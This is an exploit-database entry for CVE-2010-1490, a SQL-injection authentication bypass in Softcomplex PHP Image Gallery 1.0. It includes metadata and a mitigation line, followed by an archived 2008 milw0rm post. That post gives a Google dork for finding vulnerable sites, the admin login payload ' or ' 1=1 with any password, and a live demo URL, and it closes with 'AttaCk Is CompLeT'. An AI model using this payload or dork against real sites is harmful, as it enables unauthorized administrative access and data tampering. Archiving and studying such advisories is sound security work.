Softcomplex PHP Image Gallery v1.0 (Auth Bypass) SQL Injection Vulnerability

vendor:

PHP Image Gallery

by:

Maghribi_WnaftakhaR

9.3

CVSS

HIGH

Softcomplex PHP Image Gallery v1.0 (Auth Bypass) SQL Injection Vulnerability

CWE

Product Name: PHP Image Gallery

Affected Version From: 1

Affected Version To: 1

Patch Exists: YES

Related CWE: CVE-2010-1490

CPE: a:softcomplex:php_image_gallery:1.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows, Linux, Mac

2010

Softcomplex PHP Image Gallery v1.0 (Auth Bypass) SQL Injection Vulnerability

Softcomplex PHP Image Gallery v1.0 is prone to an authentication-bypass vulnerability because the application fails to properly sanitize user-supplied input. An attacker can exploit this issue to gain unauthorized access to the application and modify data.

Mitigation:

Upgrade to the latest version of Softcomplex PHP Image Gallery v1.0

Source

Exploit-DB raw data:

*********************************************************************************************        
[!]                                                                                       [!]
[!] OOOO             O                                 OOOOOOOOO                          [!]
[!]O    O            O                                 O      O                           [!]
[!]O                 O                                       O                            [!]
[!]O      OOOO  OOOO OOOOOO     OOOO   OOO OO               O      OOOO   OO OO     OOOO  [!]
[!]O       OOO  OOO  O     O   O    O    OO  O             O      O    O   OO  O   O    O [!]
[!]O        OO  OO   O     O   OOOOOO    O     *******    O       O    O   O   O   OOOOOO [!]
[!]O    O    OOOO    O     O   O         O               O      O O    O   O   O   O      [!]
[!] OOOO      OO     OOOOOO     OOOO   OOOOOO           OOOOOOOOO  OOOO   OOO OOO   OOOO  [!]
[!]          OO                                                                           [!]
[!]         OO                                                                            [!]
[!]        OO                          Proud To Be MoroCCaN                               [!]
[!]       OO                                                                              [!]
*********************************************************************************************
Maghribi WnaftakhaR , Wali Ma3ajboCh YantahaR , OyaktaB 3la 9abro , Ana MayeT Men Al9aheR
---------------------------------------------------------------------------------------------
=      Softcomplex PHP Image Gallery v1.0 (Auth Bypass) SQL Injection Vulnerability         =
---------------------------------------------------------------------------------------------

---------------------------------------------------------------------------------------------
-===========================================================================================-
-=                  Discovred By : Cyber-Zone                                              =-
-=                                                                                         =-
-=                  E-mail : paradis_des_fous@hotmail.fr                                   =-
-=                                                                                         =-
-=                  Home : WwW.IQ-Ty.CoM                                                   =-
-===========================================================================================-
---------------------------------------------------------------------------------------------

Download : http://www.softcomplex.com/products/php_image_gallery/

Dork In GooGle :  Powered by PHP Image Gallery

Bypass :

Go To Admin Panel :

Login With this information :

Admin : admin ' or ' 1=1
pass  : Cyber-Zone or any thing

Loged in :)

Live demo :

http://www.softcomplex.com/products/php_image_gallery/demo/index.php?action=login

EnjoY



---------------------------------------------------------------------------------------------
-======================================= ThanX To ==========================================-
-=                 Hussin X , HayBay , HiChaM , WaLid , GeneraL-Oujda , Oujda-Lord         =-
-=                                                                                         =-
-=                           StaCk , The_5pectrum , (JIKO) No-Exploit                      =-
-=                                                                                         =-
-=                                    Oujda SeCurity TeaM                                  =-
-===========================================================================================-
---------------------------------------------------------------------------------------------
AttaCk Is CompLeT :)

# milw0rm.com [2008-11-06]